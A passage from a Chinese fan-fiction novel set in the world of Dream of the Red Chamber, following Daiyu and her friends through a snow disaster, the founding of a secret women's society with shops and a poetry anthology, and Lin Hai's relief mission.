宝钗听了不语,很是动容;只是这不是她该做的,若有一天,她能直上青云,也不介意做些好事,可惜,她现在什么都没有。
青黛想着想着激动起来,和黛玉几个道了别,就回去整理女医培养计划了。
黛玉几个看着青黛匆忙离开的样子,笑了。
酉时初,林海派随从传话道,衙门有事,要黛玉早点吃饭,早点休息,不用等他。
黛玉听了,忙吩咐管家给父亲收拾衣服和食物送去户部衙门;又吩咐丫鬟们准备晚膳。
黛玉陪姐妹们用了晚膳,便给姐妹们安排了住的地方,让姐妹们早点休息。
第二天雪下的更大了,张家派人接了张阅回去,贾家和薛姨妈也派人来接素心和宝钗她们回去。
张阅、宝钗回去了。
素心想着林姑父忙,昨就没回来,今个儿雪下大了,怕还是回不来,黛玉一个人在家,她得留下来陪黛玉,探春和琋琋听了素心的不回了,也决定留下来陪黛玉。
姐妹几个写了几封信要宝钗交给贾母她们,便留下了。
雪越来越大,看雪的人却是两样心情。
黛玉她们看雪,赏花赏雪,写诗作画,品茶饮酒,焚香读书……诗情画意极了;百姓初看雪花,想瑞雪兆丰年,可看着雪越下越大,就都成了担心,等有房子被雪压塌,有老人被冻死,就都成了恐惧。
慢慢地,黛玉她们也没有了赏雪、玩乐的心境,陆青黛忙着想培训医女的事情,素心教探春射箭,黛玉给琋琋辅导功课,也算各忙各的。
黛玉想着外面百姓生活肯定困难,安排管家在城外给百姓施粥,派发棉衣;又想着她们姐妹没接触过这个,便带着姐妹们跟着管家她们后面学着准备。
雪一直不停,几人的心越来越焦灼,她们都知道大雪指定伴随着灾情,会有无数家庭失去亲人,家破人亡。
她们为可能发生的灾难难过,又为自己的无能为力悲哀。
雪连续下了好多天,各地不断传来灾情,林海已经忙了许多天没回来,黛玉一边担心父亲,一边想着为百姓做些什么。
可她除了安排家里下人在城外施粥、派发棉衣什么都做不了。
黛玉很遗憾,她遇到青黛太晚,遇到楚楠太晚,要是她们早点相遇,早点办下绣庄,绣庄是不是就赚钱了,她们是不是就能多做点事情。
黛玉把这种心情说给素心,素心也有挫败感,“下次我们一定不会这样无能为力了。”
黛玉又问道,“我们还能做些什么?”
黛玉想,可惜雪太大,不能出门,不然可以邀姐妹们一起商量对策。
素心也不知如何是好。除了施粥、施衣,她们什么都做不了,也救不了任何人;可就连施粥、施衣她们也没有多少钱。
黛玉看到青黛,想着大夫会不会对灾情有不同的想法,问青黛“青黛有什么想法?”
青黛想了一下,道,“有话说,大灾之后必有大
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疫,姑娘可以让人采购药材,准备起来,以免真出事了,商人哄抬药价。”
这也是青黛这几日帮黛玉处理事情的经验之谈,林家才进京,没有多少存粮,这几日黛玉购粮的价格是一日比一日高,黛玉的私房都用的差不多了,也撑不了多久。
青黛几人对此都意见颇深,很是义愤填膺。
黛玉忙让青黛列了可能用到的药名,安排下人去采购,这下指定要动用家里的钱了,黛玉想着要给父亲说声。
安排好后,黛玉给林海写了封信,交代了近日做的事情,说了打算购药的事情,叮嘱林海保重身体,她一切都好,别担心;又收拾了衣物,让厨房准备的食物让随从一并给林海送过去。
为了救灾,林海在户部忙的团团转转,看到黛玉让送过来的东西和信,只叮嘱黛玉保重自己,让管家守好家里,便打发随从回去了。
晚上忙里偷闲,林海看了信,想女儿小小年纪就把一切打理的井井有条,聪慧善良,知行合一,他很骄傲,又心疼她小小年纪操心许多。
楚榕打下大雪开始,也琢磨着要出宫,放心不下慈幼院,想要出宫,去看看慈幼院,也想做些力所能及的事情,可皇帝、皇后不放她出宫,只能吩咐公主府的人多送东西去慈幼院,要遇到去慈幼院求助的,都收留了。
楚楠也想做什么,可家里慎亲王不许,她们家可以施粥,但多的不能做。楚楠只能把积攒的财物让人送给卫若竹和黛玉,让她们多帮百姓做些事;又让她们有问题来信,好歹能给她们出个主意。
卫若竹、张阅、孙芷、李思她们也都帮着家里张罗施粥的事,想着多少尽些心意,又听了黛玉的提醒,也准备了药材;不过,她们不像黛玉当家做主,只是跟着母亲打打下手。
卫若兰终于说服父母,过了十五就和兄弟柳湘莲结伴奔赴南疆,守卫国家。
只是,走在路上,遇上了雪灾,便停下来,帮当地县衙救灾。
两偏偏公子,愣是弄得灰头土脸的,他们也终于明白了百姓生活的不易。
他们在保卫国家之外,又坚定了保卫百姓的信念。
雪下了十来天,终于停了。
林海终于回了家,不过也只是陪黛玉吃了顿饭,说前往灾区赈灾,又赞扬了黛玉在雪灾中的表现,叮嘱他走了黛玉去贾家住着。
黛玉不舍,怕哭出来,不想父亲担心,只是连连点头;想着父亲辛苦,吃完饭就赶紧催林海去休息。
林海本想陪陪黛玉,不过犟不过黛玉,身体又实在撑不住,赶忙回去休息了。
林海挣扎许久,离开的时候还是拍着黛玉的肩膀,“玉儿这次做的好,以后想做什么就去做,有爹在。”
黛玉听了很是感动,“爹爹一定保重身体。”
林海点头就离开了。
黛玉目送林海离开,泪还是流了下来。
素心姐妹看着黛玉难过,却不知道该怎么安慰,毕竟亲人离别,不是三言两语能安慰的,只能静静陪着她。
贾府收到林海去赈灾的消息,就派了人来林府接黛玉、素心她们表姐妹;下午,黛玉几人收拾了东西,便跟着去了贾府。
30.第三十夜
贾母见了几个姑娘,顿时流下泪来,道,“怎么就瘦成这样了。”
黛玉几人好一阵安慰,又说这阵子好好休息,女学为开学前都陪着贾母,好好修养,贾母才高兴起来。
时光如流,三月初京城附近的灾情将将控制住,张家送来帖子,道三月十五开学。
陆青黛也随着大理寺的官员、衙役回了安阳,为父母沉冤昭雪。
宋静、楚楠相约进宫请安,去看望昭华公主楚榕,顺便告诉她宫外的消息。
楚榕、楚楠、宋静几人见了颇有一种劫后重生的感觉,楚楠想着楚榕关注,来前特地去了趟群芳绣庄和慈幼院,想着告诉楚榕。
楚榕听了绣庄和慈幼院一切都好,很是欢喜;听了女学要开学了,连说她要去;又说待她出宫设宴,开学前姐妹们聚聚。
宋静、楚榕、楚楠几人闲叙一阵,商议好设宴时间就出宫了。
楚楠回府后,就给女学的诸位姐妹写了信,道三月十三公主府一聚。
三月十三,京里已经恢复了往日的繁华,树已恢复往日的绿意,桃花、梨花、迎春花……更是争先恐后的开着,仿佛开迟了,错过春天。
花一般的姑娘们也换下冬装,穿上各色美丽的春裳,轻装上阵,聚在昭华公主府的桃花苑,在桃花的映衬下,招摇的绽放着,各有各的风姿。
楚榕雍容如牡丹,陆沅清冷似红梅,孙芷明媚如海棠,素心温柔若迎春,黛玉风流似芙蓉,楚楠灿烂如榴花,杨梧雅致如蕙兰,张阅玲珑似剑兰,沈安飒爽似红千层,蒋易文雅似茉莉,李思淡雅似文竹,
楚柠娇俏似茶花,贾琋清冷似优昙,宋静华贵似芍药,卫若竹清傲似蔷薇……可谓百花齐放。
楚榕笑道,“今儿个姐妹们可把我这院子都衬得繁花似锦,姐妹们高高兴兴地玩!”
楚楠抬手揽过楚榕,“榕榕真会说话,那你看谁最美!”
楚榕看着姑娘们,对楚楠道,“我看各有千秋,楠姐姐不会想我得罪姐妹们吧!”
姑娘们听了她姐妹二人的对话笑成一团,宋静道,“你还真的说一个。”
楚榕状似思考的看了一圈,“自然是我嫂嫂了。”
说着,她拉过卫若竹,卫若竹脸瞬间不是红了一片,挠上她两腰间的痒痒肉,“好啊,我看你们都是不好人。”
几个人闹成一团,黛玉道,“要我说啊,还真是卫姐姐,果然是要当新娘子的人呢。”
姑娘们早早知道卫若竹订婚了,也送了礼物,上次林家相聚的时候都替若竹担心多一点;今儿个提起,倒都为若竹欢喜多一点,纷纷调侃起来。
卫若竹害羞了一会儿,看她们调侃的越来越起劲,她也不害羞不了,只冷笑一声,“哼,你们可别我手里,反正都得有这一天,下一个就是你了,楚楠!”
刚调侃地最起劲的楚楠瞬时哑声,姐妹们想着天道好轮回,都默契的把话题转向院子。
姑娘们联诗、赏花、游船……愉快地玩耍了一早上,中午用完膳,楚榕就安排姑娘们去客院休息了。
黛玉、楚楠、楚榕、若竹几人聚在楚榕院子里,外面由几人的丫鬟们守着。
她们都知道为什么,却没有人出声,只默默品着茶。
楚楠先开口问道,“榕榕,年前说的事,你考虑的怎么样?”
楚榕语气艰涩道,“太难了。父皇、母后只想着多留我几年,让我做一个快乐的小公主,无论如何,我都要嫁人。这样没什么不好,只是也没什么好。”
楚楠沉默一瞬,问道,“那你愿意这样过一辈子吗?”
楚榕道,“怎么可能。哪怕是公主,也由不得自己。这不是我想不想的事,而是没有可能。”
黛玉本不想出言,但还是道,“只要公主想,我们可以慢慢图之,十年、二十年……百年,总有一日可以达到。哪怕我们不能,可我们来过,总有一日,女子不用仰人鼻息。”
楚楠想着只有她们四个,她了解黛玉的所有,相信黛玉,也相信与若竹、楚楠多年相交的感情,更是直接道,“纵是公主,与百姓、臣子有君臣之别,可依旧没有任何权力。然而,到了国家需要,或者权力需要,就得去和亲,就得去联姻。享百姓供养,为百姓奉献,是应该的;可为什么献身的只有女子?遣妾一身安社稷?那些男子呢?那些享受民脂民膏更多的男子呢?争权夺利的男子呢?”
楚榕、黛玉、若竹听了沉思,想道,男子马革裹尸,可女子难道是不愿意吗?是我们没有机会?我们只能做笼子里的金丝雀?纵锦衣玉食,家人宠爱,又有什么不一样呢?都是一样的结局?
黛玉父母宠爱,她不怕,她只是担心。
她知道父亲早先想过让她离开姑苏来贾家,是为了托孤,因为父母只她一女,父亲身体不算康健,而她还小,从小培养的感情,总比突然的投亲来的可靠?
黛玉担心父亲,担心林家的未来,担心自己的未来,可若她能走出来,走出除了嫁人以外的路,父亲想来会开心许多,会少些遗憾。
黛玉知道,父亲不开心,父亲思念母亲,只是还有她;可她还想父亲长长久久的活着。
可是,黛玉也不知道为何,自父亲出京总有一股不好的预感。
楚榕低头沉思,她是公主,锦衣玉食,万民供养,有朝一日,若能救国,纵和亲又如何?可国家危亡之际,留给公主除了和亲,只有殉国。
如今,她有别的路走,所以,她要赌一把,哪怕粉身碎骨,“我愿意。”
卫若竹承诺,“公主放心,就算我嫁给三皇子,也会一直站在女子一边;若有一日,也能为我们留条后路,以待来日。”
卫若竹又道,“若有一日,你无法成功,到那时,我来。”
楚榕知道卫若竹的意思,若她们无法成功,就推三哥上位,卫若竹以皇后或太后的身份摄政,谋求未来。
楚榕想,若曾经出过宫,未见过民间疾苦、女子悲剧的她,偶然听到这些话,怕直接让人绑了送给父皇母后,或者拖出去斩了;如今,见过真实的世界,读了书的她听了,只想叫好。
毕竟,哪怕她是公主,也是女子,天然立场,与天下女性是一样的。
“我们一起。”楚楠说着伸出自己的手,黛玉、楚楠、若竹纷纷说着把手搭在楚楠的手上。
楚楠几人确定了楚榕的想法,便说起群芳会的事情,邀请楚榕加入;黛玉又说了探春的事,楚楠几人都很欣赏,欣然应允。
下午,姑娘们聚在楚榕的院子,表决通过了楚榕、探春加入群芳会的事情,因着探春经常帮群芳绣庄画花样子,楚榕经营慈幼院,均全票通过。
楚楠带着楚榕念了一遍入会誓词,“我楚榕自愿加入群芳会,与姐妹们同道而行,为天下女子奋斗终生,以解放天下女子、实现男女平等、天下大同为己任,永不反悔,永不背叛。”
姐妹们纷纷表示对新成员的欢迎。
毕了,又讨论起群芳绣庄的发展问题,黛玉说了后来和青黛讨论过的医女培养方案,也拿出宝玉的胭脂方子,供姐妹们讨论、完善,希望最后能拿出一个可行的方案。
楚楠看着黛玉拿出的胭脂方子,想起了宝玉这一奇人,或许,也可一用。不过,还要想一想。
姐妹们纷纷提起注意,黛玉道,“我今年得到一铺子,可以用来卖胭脂铺子。”
楚榕道,“群芳绣庄那边还有空地,我们可以买了,多盖些楼,到时候绣娘、医女、胭脂制作工人都可以在一起培养,人多还安全,而且到时候教学、上工、住宿都可以在绣庄完成。”
张阅听了道,“这不和学院一样吗?只不过我们学了直接能上工。”
楚楠一听职业学校的雏形出来了,不教四书五经,无法当官,还能补贴家用,男子不会在乎,或许还会支持家里女眷来学,“我们可以群芳绣庄改为‘群芳女学’,到时候卖刺绣的店铺叫‘群芳绣庄’,卖胭脂的店铺叫‘群芳脂粉’,药馆叫‘群芳正心堂’,到时候我们有了别的产业,也可以叫‘群芳XX’。”
姑娘们纷纷赞道,“这主意好。”
黛玉已经打理了自家产业几年,林家很多店铺并不会挂在林家名下,很分散,根本不会有人知道,父亲说是为有朝一日准备的后路;思考了一会儿道,“这目标会不会太大了,若有朝一日,群芳会的产业多了,怕会招惹麻烦。”
姑娘们听了低头沉思,李思道,“要不我们设计一个图案为标记,群芳XX的名字只有我们自己知道,但外面可以用别的名字,到时候店铺牌匾上刻上标记,我们姐妹就会知道是我们自己的店,有问题可以求助。我们可以
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还可以用图案刻几个玉佩或章子,我们姐妹人手一个,也算信物。”
姑娘们听了纷纷鼓掌,“这主意好。”
陆沅又道,“我们可以把我们每次作的诗印成册子,送给各家姑娘,也能吸引更多的姑娘加入我们。”
杨梧声援,“这个注意好,凭什么男子作诗饮宴是风流雅事,而我们就是不安分,也让诗人看看我们的文采。”
黛玉道,“就是,到时候我们把自己做的觉得好诗拿出来,哪怕姑娘们不加入我们,也让她们知道作诗、出诗集是我们能做到的,指不定还能引起女子作诗的风潮,若我朝能出几个女诗人,那也是我们也有一份功。”
楚楠道,“那非妹妹莫属。不过我们也可以学学话本,每月选了姐妹们的好诗文出一册,也可以邀请家里姐姐妹妹送诗文过来。”
张阅道,“这主意好,只是我们当务之急还是赚钱,不然光凭绣庄的支出撑不住。”
姑娘们纷纷赞同。
黛玉听了更是当仁不让,“待我回去整理好诗稿,就安排印了,姐妹们要也愿意印,我们一起。若姐妹们的少,我们可以印一册,要是诗多,我们可以一人一册。”
姑娘们都道,回头整理了好诗送给黛玉,还要动员家里的姐姐妹妹。
楚楠道,“也不一定要是诗,文章也可。不过,你们要起个号,还是直接用自己的身份。”
楚榕道,“这个待我回宫给母后说,到时候说动母妃作叙,能少好些麻烦。”
黛玉道,“那我们先整理今早的诗句,让娘娘看看。”
楚榕道,“好。”
姑娘们开始动作起来,不一会儿就把早上的作品整理好了,琋琋还给每首诗配了点小图。
姑娘们都赞不绝口。
十几个姑娘,你一言我一语,便提出许多注意。
期间,姑娘们都慷慨奉献出自己的压岁钱,先把胭脂铺开了,然后挣了钱扩大经营规模,招收更多的女工,和绣庄一样,学手艺的时候工钱低些,挣钱了以后按行业统一标准给,然后干得多的有分成;因拿了宝玉的方子,又预备给宝玉一成纯利做报酬,或者花一笔钱买断,到时候看宝玉如何选;这几种胭脂到底单薄,又要素心问问宝玉是否还有其他的方子,到时候她们买。
最后,姑娘们投票以蔷薇为会标,以蔷薇章为信物,为了蔷薇整朵掉落,一点都不拖泥带水的风骨;若有朝一日,她们也该如此,绝不牵连姐妹们。
李思自告奋勇设计图案、制作信物。
沈安、楚柠、楚楠负责招人。
张阅、孙芷、素心负责群芳脂粉的准备、经营和扩张。
黛玉、陆沅、杨梧、蒋易、贾琋负责出诗集的事情。
卫若竹、宋静负责绣庄的事情。
一切说定,姑娘们各自散去,打道回府,道三月十五张家见。
楚榕送走姐妹们后也收拾好准备好的诗集回了宫。
黛玉、素心、贾琋回贾府见了贾母、王熙凤后,黛玉、素心、贾琋去了探春院子,挥退丫鬟。
素心、琋琋站在门边,以防有人前来。
黛玉轻声告诉探春这一好消息,探春激动坏了,好一会儿才冷静下。
黛玉带着探春入会誓词,探春的声音低且郑重坚定,“我贾探春自愿加入群芳会,与姐妹们同道而行,为天下女子奋斗终生,以解放天下女子、实现男女平等、天下大同为己任,永不反悔,永不背叛。”
楚榕拿着姑娘们的诗稿进宫,给皇后看了,皇后连连称赞;只是,听了给诗集写叙的事,沉吟片刻道,“这是雅事,我当然愿意,只是,要给你父皇说声。”
楚榕撒娇,让皇后先写了再说;皇后一气呵成,又道吩咐宫女去请皇上晚上过来用膳。
林海离京一月有余,走过的地方灾情都已经控制住,但还有些地方没有走到。
卫若兰、柳湘莲后来遇上了林海一行的赈灾队伍,说了他们去参军,结果遇上雪灾,就一边赶路、一边帮忙。
林海看卫柳二人也打算前往北方,和他们方向一致,便邀请他们同行,二人欣然答应。
忙时,卫若兰、柳湘莲积极参与赈灾;闲事,也拿起书读,有问题去找林海,林海指点一二,叔侄三人也算相谈甚欢,有点忘年交的感觉。
31.第三十一夜
皇上听皇后说起办群芳绣庄的姑娘们要出诗集,连赞“好志气”,、又有些踌躇会不会太出格了。
楚榕忙拿出今日姑娘们做的桃花诗,给皇上看,皇上一看楚榕积极的表现,就知道这是准时自家姑娘起的头,无奈的叹了口气,仔细拿着诗稿看起来,看着看着低吟起来,“‘桃花帘外东风软,桃花帘内晨妆懒……’”
楚榕期待地看着皇上,“不错吧,不错吧,父皇。”
皇上抚掌而笑,“岂止不错啊”,转而叹道,“只是悲了些。这是谁写的?”
楚榕道,“这是林家妹妹写的,她父亲是林海大人。”
皇上露出一副原来如此的表情,“原来是他的女儿!”皇上难得说起往事,“林海早先可是诗酒双绝的才子狂士,都以为他不会考科举,结果早早中了举人;他又是侯门公子,大家本以为他会早早入仕,谁知他成了亲,带着夫人游学去了。”
楚榕听着一脸艳羡,“林大人真好,读万卷书,行万里路。”
楚榕一脸我也想的样子,皇后看了调侃道,“那母后给你找个好驸马,再求你父皇派他一个可以各地巡查的官,带你去怎么样?”
皇上也看着楚榕笑,“明儿个朕就安排下去,怎么样,小公主?”
楚榕听了跺了跺脚,又拉着皇上的袖子晃了晃,拉着调子道,“父皇,母后欺负我,你还帮着她!”
皇上被小女儿逗笑,“放心,父皇帮你,你母后才不舍得呢,前个儿还说你出宫上学去了,见得少了,要多留你几年呢!”
楚榕扑过去,歪在皇后怀里撒娇。
皇后笑着点了点她。
楚榕想起今天的目的,歪头看着皇上问道,“父皇,那出诗集的事怎么样?您就同意吧,好不好嘛?母后还给我们写叙呢?”
皇上听了故意收起笑容,“我看你不是为了出诗集,是为了你母后写叙吧!”
楚榕乖巧的笑了笑。
皇上想着皇后早年也是大才女,姑娘们有才气,出几本诗集也无伤大雅,就道,“那就出吧。到时候你可要写几首好的出来。”
楚榕激动的站起来,冲上去抱住皇上,“父皇,您最好了!”
楚榕又站定,搞怪行礼道,“保证完成父皇任务。”
皇后嗔怪的看着皇上道,“看着丫头,冒冒失失。”
皇上乐呵呵地道,“她还小呢,再说,她慈幼院办的不是有声有色的。”
皇后、皇上相视一笑,羡煞旁人。
楚榕陪父母聊了会,才告退,第二日傍晚才出宫。
姑娘们回家给长辈们请了安,就回了自己的院子,找出自己写的诗文,挑挑选选;第二日,和姐妹们玩的时候,又告诉姐妹们。
大多数姑娘们听了都很激动,要杨梧她们帮忙说说好话,下定决心一定要送去最好的,一定要被选上,最好能出个诗集。
但也有姑娘听了说教起来,道闺阁诗文不外传,出诗集这样的事不是女子该做的。
姑娘们只觉话不投机半句多。
到了女学,孙芷给姐妹们说起庶妹孙菲的话,杨梧、宋静她们连道自家也有姐妹那样,都很是义愤填膺。
楚楠道,“妹妹们都别生气,改变她们的思想,改善女子的生存环境,不正是我们努力的目标吗?”
听了楚楠的话,姑娘们顿时平静下来。
女学上课之余,姑娘们各尽其力,为群芳女学奋斗。
李思每日下课都忙着画会徽,可画了好几版蔷薇图案,都不满意;忙了半个多月,李思才画出满意的图案,给姐妹们看了,都满意,才定稿。
李思又询问了姐妹们,讨论后决定用黄花梨做成章子,她亲手做,姐妹们一人一个,以后处理群芳会的产业都用这个章子,算是她们姐妹们间的信物;又把画稿给了楚楠、张阅一份,方便工匠镌刻在绣庄等地的牌匾上。
李思打算做16个,给已经加入群芳会的姑娘们;楚楠打算找匠人做一批胸针,给以后加入的姑娘们;张阅打算拿画稿让绣娘绣一批手绢,也算是她们姐妹的信物,出去招人的给姑娘们发,也可以作为给群芳脂粉的小礼物,一边为群芳脂粉吸引顾客,一边为群芳绣庄介绍顾客。
张阅、孙芷、素心各自求了家里,要了一个管事,帮忙筹办脂粉铺,每当下课就聚在一起商量,三人分工,张阅负责店铺装潢经营;孙芷负责寻找原料,开始找了鲜花商家供货,后面直接找姐妹们商量一下,让各家庄子上种,脂粉铺直接收,庄子上庄户能多点收入,她们的货源也更稳定;素心和宝玉是兄妹,负责方子相关事宜,休假时间少,只能每日翻各种古籍、药典,想找出新的方子,连最爱的棋谱也搁下了;探春知道后想着自己在家没什么事,便接过方子,带着丫鬟在家做起来,有不懂的地方就去找宝玉帮忙;宝玉对这些事情倒很热情,每日下学见过贾母、父母,就去找探春帮忙,过程中出了些许差错,倒都成功了。
不过,成品不多。探春给姐妹们都分了些,试过都觉得不错,比日常用的要好些,当即开始大规模制作。
店铺开业后,群芳会姑娘们都买了送给祖母、母亲、姐妹们试用,是给家人的礼物,也是给店铺招徕生意的办法,一举两得。
夫人、姑娘们用过都觉得好,自发的把家里用的脂粉都换成了群芳脂粉的;宫里的皇后用群芳脂粉的消息传出来后,瞬间获得了整个上流社会女性的青睐。
黛玉、素心拿给熙凤时,熙凤笑道,“妹妹们送来的正好,要早些时候,姐姐还用不了呢。”
熙凤这是当生了孩子不久,是个小男孩,贾赦很高兴,取了个乳名叫薄哥儿。他说,他们府早到了月满则亏、水满则溢的境地,现在境况不怎么好,哥儿不若取薄字,以待薄积厚发。
黛玉忙问,“怎么能用不了呢?”
熙凤指着孩子道,“还不是这小讨债鬼。”
素心正凑跟前看小侄子,听了道,“薄哥儿多乖啊,嫂嫂怎么能叫他讨债鬼呢!”
熙凤道,“你们还是孩子呢,不知道,孕期不能用脂粉,对孩子不好。”一边指着自己脸道,“你们看,我这脸都糙成什么样呢?”
黛玉道,“姐姐天生丽质,你用了我们的脂粉,保管比之前更好看!”
熙凤喜笑颜开,道,“要是真如你们所言的话,到时候我们府里主子们用的脂粉就都换成你们的,我再介绍给小姐妹们。”
黛玉、素心两人赶忙拉着熙凤,道,“姐姐太好了。”
熙凤卖关子道,“还有更好的呢!”
黛玉、素心听了,赶忙期待看着熙凤,熙凤道,“我问你们个问题,你们这个价格定价是多少?”
黛玉道,“我给你这种是最好的,二两。”
熙凤又问,“最便宜的是多少?”
素心道,“1000文。”
熙凤道,“这么贵。”
黛玉、素心不明白,怎么贵了。
素心解释道,“我们在庄子上特意种了各种花朵,花了大价钱的。”
熙凤语重心长地道,“你们过惯了好日子,不知道百姓的日子。如今你们虽然知道了些许百姓疾苦,还是离百姓很远。百姓大多不会花这么多钱买这种价钱的脂粉,他们辛苦上工一个月也一定能赚二两银子。再说了,有钱人又有多少,你们一个月月钱也才二两。”
黛玉恍然大悟,“姐姐的意思是我们制作些便宜的。”
熙凤点头,“对,最好的那种大概只有夫人小姐们会买。毕竟,脂粉是易耗品,这一小盒大概也就用一个月的样子。你们这些姑娘有几个会拿一个月月钱去买脂粉,还月月买?”
黛玉道,“姐姐我懂了。”
素心还记得熙凤说怀孕不能用脂粉的事,问道,“嫂嫂你说,我们要是制了孕妇能用的脂粉,会有人买吗?”
黛玉听了,也殷切的看着熙凤。
熙凤道,“也不是没有,只是为了保险起见,大都不会用。”
黛玉想起青黛,道,“要是有大夫推荐呢?”
熙凤道,“那肯定会有很多人趋之若鹜。”
正是说完,姑嫂三人逗起孩子,时间很快就过去了。
后来,素心、黛玉几人把从熙凤这得到的建议给姐妹们说了,姑娘们还特地回去问了一下家里的姐妹们、丫鬟都用多少价钱的脂粉,最后根据调查结果、制作成本,调整了价格,楚楠还给了几个捆绑销售的套路。
楚楠、沈安、楚柠几人安排身边的随从跟慈幼院的管事一起走访周边县城、村子,寻找需要帮助的女婴和妇女;她们三个并楚榕休沐日也时常跟着去周边找寻,考察。
后来,在楚楠的建议下,楚榕也在群芳绣庄、脂粉铺都掺了一脚,挣了钱都投入慈幼院,半年下来,又在周边的县城多开了几家慈幼院;有了楚榕的投资,群芳绣庄、脂粉、正心堂也都快速铺开,又花大价钱宣传,迅速扭亏为盈,再过半年,多开几家分店也不成问题。
黛玉、陆沅、杨梧、蒋易、贾琋几人整天整理赏读送过来的诗文,最后经过讨论决定不隐瞒性别,但用笔名出诗集,一个月出一册,后面要人对那个诗人的作品感兴趣,可以出单人诗集。
第一册诗集面世,听说是皇后作息,诗人是女子,对诗文感兴趣的姑娘纷纷购买,有的甚至买了好多本。
杨梧、贾琋、陆沅她们还给诗集配了画,诗画结合,互相映衬,备受好评。
当然,也有姑娘鄙薄出诗集的姑娘不安分。
学子们听了也有买的,有的是为了批判;有的纯粹是为了看看女子写的诗怎样的;更有学子不管写的怎样,直接批判……
那些大人消息灵通,听了皇后作叙,有公主参与,不管心里怎么想,都买了一本回去看,就当讨好皇后和公主了。
但总有人会真心称赞、看见她们的才华。
陆青黛二次抵京的时候,已经过了快半年,好在,这趟辛苦没有白费。
大理寺的官员去了没有通知安阳府官员,到了直接明察暗访。
陆家正心堂火灾不是意外和青黛被刺杀的事实很快就查实了,但真相却花费了很多精力,九死一生,才查出了真相。
陆青黛本以为是父亲没有救活知府夫人才杀了父亲、烧了正心堂泄愤的,可真相远比他们想想的更残酷。
原来,安阳府知府早先不过是寒门出家的进士,因为才学出众,被当地知府看中,嫁了女儿过去,又多有帮扶,到了如今的地位,倒比岳家的子嗣成器些;如今岳家败落,岳父西去,妻子人老珠黄,恰巧因为一座新发现的铁矿搭上了安阳王,打算娶安阳王家庶女为妻,作为双方结盟的桥梁;妻子挡了路,便给妻子下
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了慢性药,可妻子被陆大夫救了,慢慢恢复,他怕事情败露,便一不做二不休,快速了解妻子,又以害死妻子为由,杀了陆大夫;怕陆家人知道些什么,又放火毁了正心堂,斩草除根,谁知有漏网之鱼。
青黛离开的这段时间,安阳王的庶女已经成为知府的继妻,知府夫人的几个孩子也慢慢病逝了。
这已经不是几个刑部几个小官能处理的,几人让陆青黛和黛玉派的几个随从带着证据先走,他们几个断后。
青黛回京的时候,黛玉正好休沐,听了林府下人的传话,赶忙回了林府。
黛玉见了青黛,知道事情始末,安慰过青黛后,忙带着青黛去了公主府。
公主正好慈幼院有点事,还未进宫,知道后立即带着证据进了宫,皇上看了勃然大怒,立马宣了刑部侍郎进宫,让刑部侍郎亲自带人前往安阳府处理这件事,查实后安阳王带回京处理,知府看情况抄家流放或斩首,刑部侍郎可便宜行事。
皇上处理完,宣楚榕觐见。
楚榕给皇上详细说了事情始末,听了楚榕说起青黛答应给慈幼院、群芳绣庄的姑娘们教医术,还打算把正心堂办起来,忙写了“医者仁心”几个字,打算送给正心堂;又想着一个女孩子不容易,此番也冒了不少风险,又多亏了林家父女心善,赏了好多东西给黛玉和青黛,首饰、药材、布匹、金银应有尽有,又让内侍大张旗鼓的送去林府,也是给她们庇护的意思。
楚榕听了心花怒放,“父皇真好,你太大方了!”又端端正正的行了一礼,“儿臣替两位妹妹谢恩了。”
皇上道,“改天带林姑娘、陆姑娘给你母后看看。”
楚榕道,“那我下次休沐带她们进宫给母后请安。”
楚榕和皇上聊了一会儿就去皇后宫里,给皇后请安,请安过后,就出宫回了公主府,把皇上的裁决和赏赐给黛玉、青黛说了。
黛玉、青黛两人早先收到赏赐很是激动,知道肯定楚榕说了好话;现下又听了楚榕说了知府的下场,都很是开心,尤其是青黛听了知府的下场好点流放,差点就是抄家灭族后,只觉得此生无憾,连忙跪下叩谢皇上、叩谢公主,楚榕、黛玉赶忙扶起青黛,安慰青黛以后过好日子。
青黛只觉此生无憾,以后的日子就来报答姑娘们,办好正心堂,是她的愿望,也是姑娘的愿望。
第二日,黛玉等人继续去了女学上课。
青黛带着黛玉、楚楠她们选的学医的丫鬟去了群芳绣庄,绣庄还未扩建完毕,暂住在慈幼院,也在慈幼院选适合学医的姑娘,开始培养。
黛玉身边的逢春、素影、素晖也自愿去学医,为姑娘分忧。
时间就在姑娘们忙碌、学习的缝隙中溜走了。
林海一行一路向北,开始还算顺利。
到了最后,可能因为等救援的太久,当地县衙治灾不靠谱,有的饿死,尸体都腐烂了,爆发了疫情。
当然也有的地方官员很是尽责,基本不用林海他们做什么。
林海一行官员、太医、衙役赶紧把感染的百姓集中在一起,让太医治疗;又征召当地大夫给未染病的百姓诊治,把健康和感染风险较大的百姓分开,煮了预防的药给他们喝了;一边清理死亡百姓,把他们焚烧火葬;一边分粮煮粥,吆喝百姓来领。
卫若兰和柳湘莲还根据太医们的叮嘱,写了一份疫病防疫手册,林海看了忙让衙役们给百姓们宣读,四处张贴;又写了个折子,送往京城,道这个防疫手册可以发往大楚各地,以后有灾情了能好多了。
用了将近两个月,疫情才控制住。
赈灾工作将将完成,林海就病倒了,把身边人都吓坏了。
大夫道,“没什么大碍,只是累到了。以后一定要看着大人好好休息,不然……”
一路走下来,卫若兰、柳湘莲很是佩服林海,他病倒了,两人都很是着急,忙问,“有什么要注意的吗?没什么后遗症吧?”
大夫道,“大人这是好几年的老毛病了,过度劳累,又长期饮酒,要是不好好保重,怕没几年了。”
卫若兰、柳湘莲和林海的几个随从都一脸震惊和悲伤,“怎么会,大人那么好的人。”
大夫道,“以后大人千万不能太过劳累,酒也不能喝了,要保持充足的睡眠,饮食得营养均衡,多补补。”
林海的随从连连应是。
卫若兰连忙叮嘱几个随从要好好盯着林海,不能过度劳累。
后来,卫若兰、柳湘莲揽了赈灾的后续工作,让林海躺在床上休息,闲了又陪着林海逗闷子,林海很是感动,本就待他们如子侄,生病后受他们照顾,更亲切了点。
林海醒来听了大夫的话,倒也没什么反应,只是叮嘱他们别告诉黛玉。
林海知道原因在哪,他当初答应贾敏,要陪着黛玉嫁人生子,也慢慢走出来了,可还是难过。
于是,只能沉迷公务和饮酒。
林海不禁又想起贾敏,她知道了,肯定要埋怨他。
他下定决心,以后要好好的,他还有黛玉,他们的黛玉已经没有娘亲,不能没有父亲。
七日后,赈灾事宜彻底处理完毕,林海一行回京,卫若兰、柳湘莲前往北疆。
林海出京的时候才二月初,回京的时候却只接上秋天的尾巴,寒风虽然凌冽,却吹不冷游子归家的暖热。
32.第三十二夜
或许姑娘都有事做了,时间过的飞快,已经迎来了雪灾后的第二个二月。
两年很快,还什么都没做;两年很慢,张家女学已经结课很久。
